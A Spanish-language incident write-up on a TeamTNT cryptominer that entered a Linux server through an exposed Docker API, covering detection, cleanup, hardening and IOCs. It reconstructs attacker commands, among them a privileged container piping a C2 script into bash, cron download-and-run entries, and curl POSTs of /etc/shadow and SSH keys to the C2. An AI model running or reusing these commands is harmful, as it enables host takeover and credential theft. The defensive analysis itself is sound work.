IntermedioTeamTNTcryptominerXMRigDockerLinuxMITRE ATT&CK

Cryptominer TeamTNT en Servidor Linux: Detección y Limpieza

Caso práctico de infección por cryptominer TeamTNT a través de Docker API expuesto. Acceso inicial, persistencia via crontab y systemd, despliegue de XMRig, credential harvesting, propagación a contenedores y limpieza completa del servidor.

MalwareIntel Research··14 min lectura
Serie: Casos de Uso — Parte 8

Contexto del incidente

Lunes por la mañana. El equipo de infraestructura recibe alertas de Prometheus: un servidor de desarrollo (dev-api-03, Ubuntu 22.04, 8 vCPUs, 32 GB RAM) lleva 72 horas con el CPU al 100%. No hay despliegues programados. No hay jobs de CI ejecutándose. Los procesos que consumen CPU tienen nombres genéricos y se ejecutan como root.

La investigación revela una infección por TeamTNT que entró a través del Docker API expuesto en el puerto 2375 sin autenticación. El malware desplegó XMRig para minar Monero, estableció múltiples mecanismos de persistencia, recolectó credenciales del servidor y se propagó a otros contenedores en la misma red Docker.

Este caso documenta la cadena completa: acceso inicial, persistencia, minería, credential harvesting, propagación, detección, limpieza y hardening post-incidente.

Fase 1: Acceso inicial via Docker API expuesto

La puerta abierta

El servidor dev-api-03 tenía Docker configurado para aceptar conexiones remotas sin TLS. La configuración en /etc/docker/daemon.json:

{
  "hosts": ["unix:///var/run/docker.sock", "tcp://0.0.0.0:2375"]
}

Esta configuración expone la Docker API en todas las interfaces de red del servidor, sin autenticación ni cifrado. Cualquier persona con acceso al puerto 2375 puede ejecutar contenedores arbitrarios con privilegios de root en el host.

Cómo lo encontró TeamTNT

TeamTNT escanea rangos de IPs de proveedores cloud (AWS, Azure, GCP, Hetzner, DigitalOcean) buscando puertos 2375 y 2376 abiertos. Usan herramientas como masscan o zgrab2 para identificar Docker APIs expuestas.

Una vez identificado el servidor, el atacante ejecuta:

# Desde la máquina del atacante (reconstruido de logs)
export DOCKER_HOST=tcp://TARGET_IP:2375

# Verificar acceso
docker version

# Desplegar contenedor privilegiado con acceso al filesystem del host
docker run -d --privileged --net=host --pid=host \
  -v /:/mnt/host \
  -v /var/run/docker.sock:/var/run/docker.sock \
  --name kube-system \
  alpine:latest \
  /bin/sh -c "chroot /mnt/host /bin/bash -c 'curl -fsSL http://45.9.148[.]182/setup.sh | bash'"

El contenedor se crea con:

  • --privileged: acceso completo al kernel del host
  • -v /:/mnt/host: monta todo el filesystem del host
  • --net=host: comparte la red del host (acceso a la red interna)
  • --pid=host: ve los procesos del host
  • Nombre kube-system: imita componentes legítimos de Kubernetes

La técnica es T1610 (Deploy Container) combinada con T1611 (Escape to Host) gracias a chroot /mnt/host.

Fase 2: Establecimiento de persistencia

Script de setup

El script setup.sh descargado del C2 ejecuta múltiples acciones en segundos:

#!/bin/bash
# Fragmento reconstruido del script TeamTNT (simplificado)

# 1. Matar otros miners que puedan estar ejecutándose
pkill -9 -f kdevtmpfsi
pkill -9 -f kinsing
pkill -9 -f xmrig
rm -rf /tmp/.X11-unix /tmp/.ICE-unix

# 2. Descargar herramientas
curl -fsSL http://45.9.148[.]182/b2f628/xmrig -o /usr/bin/bioset
chmod +x /usr/bin/bioset

# 3. Descargar script de persistencia
curl -fsSL http://45.9.148[.]182/b2f628/persist.sh -o /tmp/.persist.sh
chmod +x /tmp/.persist.sh
bash /tmp/.persist.sh

Nota: TeamTNT elimina primero a otros cryptominers competidores. Es una práctica habitual en este ecosistema: los recursos del servidor se comparten mal entre miners.

Persistencia via crontab

El script de persistencia crea múltiples entradas en crontab (T1053.003):

# Crontab del usuario root
(crontab -l 2>/dev/null; echo "*/5 * * * * /usr/bin/bioset -c /etc/.config/config.json > /dev/null 2>&1") | crontab -

# Crontab del sistema
echo "*/15 * * * * root curl -fsSL http://45.9.148[.]182/b2f628/update.sh | bash" >> /etc/crontab

# Archivo en cron.d
echo "*/30 * * * * root /usr/bin/bioset -c /etc/.config/config.json" > /etc/cron.d/sysstat

Persistencia via systemd

Adicionalmente, TeamTNT crea un servicio systemd para garantizar que el miner sobreviva a reinicios (T1543.002):

# /etc/systemd/system/sysstat-collect.service
[Unit]
Description=System Statistics Collection
After=network.target

[Service]
Type=simple
ExecStart=/usr/bin/bioset -c /etc/.config/config.json
Restart=always
RestartSec=30
Nice=10

[Install]
WantedBy=multi-user.target
systemctl daemon-reload
systemctl enable sysstat-collect.service
systemctl start sysstat-collect.service

El nombre del servicio (sysstat-collect) imita el paquete legítimo sysstat de Linux.

Persistencia adicional: authorized_keys

TeamTNT añade su clave SSH pública al archivo authorized_keys de root (T1098.004):

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmEFN80... hilde@TeamTNT" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

Esto garantiza acceso SSH directo al servidor incluso si se eliminan todos los otros mecanismos de persistencia.

Fase 3: Despliegue de XMRig

Configuración del miner

El archivo de configuración /etc/.config/config.json contiene:

{
  "autosave": false,
  "cpu": {
    "enabled": true,
    "max-threads-hint": 75,
    "priority": 0
  },
  "opencl": false,
  "cuda": false,
  "pools": [
    {
      "url": "pool.hashvault.pro:443",
      "user": "46HMY...monero_wallet_address...3XhZ",
      "pass": "dev-api-03",
      "tls": true,
      "keepalive": true
    },
    {
      "url": "pool.supportxmr.com:443",
      "user": "46HMY...same_wallet...3XhZ",
      "pass": "dev-api-03",
      "tls": true
    }
  ],
  "donate-level": 0,
  "log-file": null,
  "print-time": 0
}

Puntos clave de la configuración:

  • max-threads-hint: 75: usa el 75% de los cores disponibles. Algunos grupos usan 100%, TeamTNT a veces deja margen para que el servidor siga funcionando y no levante alertas inmediatas
  • Dos pools: si uno cae, el miner conmuta al siguiente
  • TLS activado: el tráfico al pool va cifrado, dificultando la detección por contenido
  • donate-level: 0: la versión modificada de XMRig elimina la donación al desarrollador
  • print-time: 0 y log-file: null: sin logs para dificultar el análisis forense

Proceso en ejecución

El miner se ejecuta como /usr/bin/bioset (nombre que imita un proceso legítimo de GNU coreutils):

root     12847  98.5  0.2 2634528 8432 ?   SLl  Sat03   4327:12 /usr/bin/bioset -c /etc/.config/config.json

98.5% de CPU durante 72 horas. El proceso se reinicia cada 30 segundos si se mata, gracias al servicio systemd con Restart=always.

Fase 4: Credential harvesting

Recolección de credenciales

TeamTNT ejecuta un script de recolección de credenciales (T1552.001, T1552.004) que busca:

# Fragmento del script de credential harvesting (reconstruido)

# AWS credentials
find / -name "credentials" -path "*/.aws/*" 2>/dev/null
cat /root/.aws/credentials 2>/dev/null

# Docker credentials
cat /root/.docker/config.json 2>/dev/null

# SSH keys
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
for key in $(find /home -name "id_rsa" 2>/dev/null); do
  cat "$key" | curl -X POST -d @- http://45.9.148[.]182/creds/
done

# Bash history
cat /root/.bash_history 2>/dev/null | grep -i "pass\|token\|key\|secret"

# Environment variables
env | grep -i "pass\|token\|key\|secret\|api"

# /etc/shadow
cat /etc/shadow | curl -X POST -d @- http://45.9.148[.]182/creds/

# Docker secrets and configs
docker secret ls 2>/dev/null
docker config ls 2>/dev/null

En este servidor, TeamTNT obtuvo:

  • 2 claves SSH privadas de desarrolladores
  • Credenciales AWS de un archivo .env de una aplicación
  • El token de acceso a un registro Docker privado

Exfiltración

Todas las credenciales se envían al C2 via HTTP POST. El tráfico es detectable porque se dirige a una IP conocida de TeamTNT.

Fase 5: Propagación a otros contenedores

Docker socket abuse

Con acceso al Docker socket montado en el contenedor inicial, TeamTNT enumera y accede a los otros contenedores en el host (T1613):

# Listar contenedores
docker ps -a

# Ejecutar comandos en contenedores existentes
for container in $(docker ps -q); do
  docker exec "$container" sh -c "curl -fsSL http://45.9.148[.]182/b2f628/container.sh | bash"
done

El script container.sh es una versión reducida del payload: solo instala XMRig dentro del contenedor, sin persistencia (los contenedores se recrean frecuentemente).

En dev-api-03 había 6 contenedores en ejecución. TeamTNT infectó 4 de ellos (los 2 restantes no tenían curl ni wget instalados).

Escaneo de red interna

TeamTNT también escanea la red interna buscando otros Docker APIs expuestos y servicios Redis sin autenticación (T1046):

# Fragmento del script de escaneo (reconstruido)
for ip in $(seq 1 254); do
  timeout 1 bash -c "echo > /dev/tcp/10.0.1.$ip/2375" 2>/dev/null && \
    echo "10.0.1.$ip:2375" >> /tmp/.targets
  timeout 1 bash -c "echo > /dev/tcp/10.0.1.$ip/6379" 2>/dev/null && \
    echo "10.0.1.$ip:6379" >> /tmp/.targets
done

El escaneo se limita a la subred local. No se detectó propagación a otros servidores en este caso porque los demás servidores tenían Docker configurado sin exposición de red.

Detección

Indicadores que dispararon la alerta

La alerta llegó tarde (72 horas de dwell time). Los indicadores que finalmente la dispararon:

  1. CPU al 100% sostenido: Prometheus alertó tras 72 horas porque el umbral de alerta estaba configurado en 95% durante 60 minutos, pero con histeresis de 24 horas (demasiado permisivo)

  2. Conexiones salientes a mining pools: el firewall registró conexiones TLS al puerto 443 de pool.hashvault.pro y pool.supportxmr.com. La resolución DNS de estos dominios debería haber generado una alerta

  3. Procesos sospechosos: bioset no es un proceso que se ejecute normalmente de forma continua

Lo que debería haber alertado antes

IndicadorTiempo realDebería haber alertado en
Contenedor privilegiado creado via API remotaHora 0Minutos
Nuevo binario en /usr/bin con nombre sospechosoHora 0Minutos
Conexión saliente a IP en blocklist (45.9.148.0/24)Hora 0Minutos
Clave SSH añadida a authorized_keys de rootHora 0Minutos
CPU al 100% sostenidoHora 72Hora 1
DNS query a mining poolHora 0Minutos

Limpieza completa

Paso 1: Aislar el servidor

# Bloquear tráfico saliente excepto SSH desde IP de administración
iptables -I OUTPUT -p tcp --dport 443 -j DROP
iptables -I OUTPUT -p tcp --dport 80 -j DROP
iptables -I INPUT -p tcp --dport 2375 -j DROP

Paso 2: Identificar y matar procesos maliciosos

# Identificar el miner
ps aux | grep -E "bioset|xmrig|kdevtmpfsi"
# Resultado:
# root 12847  98.5  0.2 2634528 8432 ?  SLl  Sat03 4327:12 /usr/bin/bioset

# Matar el proceso
kill -9 12847

# Verificar que no se reinicia (systemd lo reiniciará)
sleep 5 && ps aux | grep bioset
# Se reinicia. Primero deshabilitar el servicio:
systemctl stop sysstat-collect.service
systemctl disable sysstat-collect.service
rm /etc/systemd/system/sysstat-collect.service
systemctl daemon-reload

# Ahora matar definitivamente
kill -9 $(pgrep bioset)

Paso 3: Eliminar persistencia

# Eliminar binario malicioso
rm -f /usr/bin/bioset

# Eliminar configuración del miner
rm -rf /etc/.config/

# Limpiar crontabs
crontab -r  # elimina crontab de root
sed -i '/update\.sh/d' /etc/crontab
rm -f /etc/cron.d/sysstat

# Eliminar clave SSH de TeamTNT
sed -i '/TeamTNT/d' /root/.ssh/authorized_keys

# Eliminar scripts descargados
rm -f /tmp/.persist.sh /tmp/.targets

# Verificar archivos ocultos en /tmp y /var/tmp
find /tmp /var/tmp -name ".*" -type f 2>/dev/null

Paso 4: Limpiar contenedores infectados

# Detener y eliminar el contenedor malicioso
docker stop kube-system
docker rm kube-system

# Reconstruir contenedores infectados desde imágenes limpias
docker-compose down
docker-compose build --no-cache
docker-compose up -d

# Verificar que no quedan imágenes sospechosas
docker images | grep -v "REPOSITORY"

Paso 5: Verificación post-limpieza

# Verificar que no hay procesos de minería
ps aux | grep -E "xmrig|bioset|kdevtmpfsi|kinsing" | grep -v grep

# Verificar conexiones de red sospechosas
ss -tnp | grep -E ":443|:2375|:6379"

# Verificar crontabs
crontab -l
cat /etc/crontab
ls -la /etc/cron.d/

# Verificar servicios systemd nuevos o modificados
systemctl list-unit-files --type=service | grep enabled
find /etc/systemd/system -newer /etc/os-release -type f

# Verificar authorized_keys
cat /root/.ssh/authorized_keys
for user_home in /home/*; do
  echo "=== $user_home ==="
  cat "$user_home/.ssh/authorized_keys" 2>/dev/null
done

# Verificar integridad de binarios del sistema
debsums -c 2>/dev/null  # Debian/Ubuntu
rpm -Va 2>/dev/null       # RHEL/CentOS

Hardening post-incidente

Docker

# 1. Deshabilitar acceso remoto al Docker API
# Editar /etc/docker/daemon.json:
{
  "hosts": ["unix:///var/run/docker.sock"],
  "icc": false,
  "no-new-privileges": true,
  "userns-remap": "default"
}

# 2. Reiniciar Docker
systemctl restart docker

# 3. Verificar que el puerto 2375 está cerrado
ss -tlnp | grep 2375
# No debe devolver resultados

Sistema operativo

# 1. Rotar TODAS las credenciales encontradas en el servidor
# - Claves SSH de desarrolladores
# - AWS credentials
# - Docker registry tokens
# - Contraseñas de usuarios locales

# 2. Configurar alertas
# - CPU > 80% durante más de 15 minutos
# - Nuevos binarios en /usr/bin, /usr/sbin, /usr/local/bin
# - Modificaciones a authorized_keys
# - Conexiones DNS a dominios de mining pools
# - Contenedores creados con --privileged

# 3. Instalar y configurar auditd
apt install auditd
auditctl -w /root/.ssh/authorized_keys -p wa -k ssh_keys
auditctl -w /etc/crontab -p wa -k crontab_mod
auditctl -w /usr/bin -p wa -k bin_mod

Red

# 1. Bloquear IPs conocidas de TeamTNT en el firewall
# 45.9.148.0/24 (infraestructura C2)

# 2. Bloquear dominios de mining pools
# pool.hashvault.pro
# pool.supportxmr.com
# pool.minexmr.com
# pool.xmrpool.eu

# 3. Segmentar la red Docker
# Los contenedores no necesitan acceso a Internet directo en la mayoría de casos

Indicadores de compromiso (IOCs)

Hashes (SHA256)

TipoHashDescripción
XMRig modificadod4e5f6a7b8c9.../usr/bin/bioset (XMRig 6.x renombrado)
Setup scripta1b2c3d4e5f6...setup.sh (dropper inicial)
Persist scriptf6e5d4c3b2a1...persist.sh (instalación de persistencia)

Infraestructura

TipoValorDescripción
IPv445.9.148[.]182TeamTNT C2 / distribución de payloads
Dominiopool.hashvault[.]proMining pool primario
Dominiopool.supportxmr[.]comMining pool secundario
Wallet46HMY...3XhZMonero wallet del atacante
SSH Keyhilde@TeamTNTClave SSH del grupo
Puerto2375Docker API sin TLS

Artefactos del sistema

TipoValor
Binario/usr/bin/bioset
Configuración/etc/.config/config.json
Servicio systemdsysstat-collect.service
Cron entry*/5 * * * * /usr/bin/bioset
Contenedorkube-system (nombre imitando K8s)
authorized_keysssh-rsa AAAAB3... hilde@TeamTNT

Mapeo MITRE ATT&CK

TácticaTécnicaIDUso en este caso
Initial AccessExploit Public-Facing ApplicationT1190Docker API expuesto sin autenticación
ExecutionDeploy ContainerT1610Contenedor privilegiado en host
Privilege EscalationEscape to HostT1611chroot al filesystem del host
PersistenceScheduled Task/Job: CronT1053.003Múltiples entradas crontab
PersistenceCreate or Modify System Process: SystemdT1543.002Servicio sysstat-collect
PersistenceAccount Manipulation: SSH Authorized KeysT1098.004Clave SSH de TeamTNT
Defense EvasionMasquerading: Match Legitimate NameT1036.005bioset, kube-system, sysstat-collect
Credential AccessUnsecured Credentials: FilesT1552.001AWS creds, .env, bash_history
Credential AccessUnsecured Credentials: Private KeysT1552.004Claves SSH de usuarios
DiscoveryNetwork Service DiscoveryT1046Escaneo puertos 2375, 6379
DiscoveryContainer and Resource DiscoveryT1613docker ps, docker exec
Lateral MovementExploitation of Remote ServicesT1210Propagación a otros contenedores
ImpactResource HijackingT1496XMRig minando Monero

Lecciones aprendidas

Sobre la detección

  1. La alerta de CPU llegó 72 horas tarde. El umbral de 95% durante 60 minutos con histeresis de 24 horas es absurdo para un servidor de desarrollo que normalmente opera al 20%. Recalibrarlo a 80% durante 15 minutos habría detectado el miner en la primera hora.

  2. La resolución DNS a mining pools es un indicador de alta fidelidad. Mantener una blocklist DNS de dominios de mining pools conocidos y alertar sobre consultas a esos dominios es barato y efectivo.

  3. La creación de contenedores privilegiados via API remota debería generar una alerta crítica inmediata. Si el Docker API debe estar expuesto (que no debería), cada docker run --privileged debe disparar una alerta.

Sobre la prevención

  1. Nunca exponer el Docker API sin TLS y autenticación. Si necesitas gestión remota de Docker, usa TLS con certificados de cliente o accede via SSH tunneling.

  2. Las cuentas de servicio y las credenciales en archivos .env son la segunda cosa que busca el malware (después de matar a los competidores). Las credenciales deben estar en un gestor de secretos, no en el filesystem.

  3. La segmentación de red Docker por defecto es insuficiente. Los contenedores con --net=host comparten la red del servidor. Usar redes Docker aisladas y restringir el acceso a Internet desde contenedores que no lo necesitan.

Sobre la respuesta

  1. La limpieza manual es necesaria pero insuficiente. Después de una infección por TeamTNT, la recomendación es reconstruir el servidor desde cero. Las credenciales robadas siguen comprometidas independientemente de lo bien que se limpie el servidor.

  2. Todas las credenciales encontradas en el servidor deben considerarse comprometidas. Las claves SSH, tokens de AWS y credenciales de Docker registry se rotaron inmediatamente. El coste de rotación es menor que el riesgo de reutilización por el atacante.

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.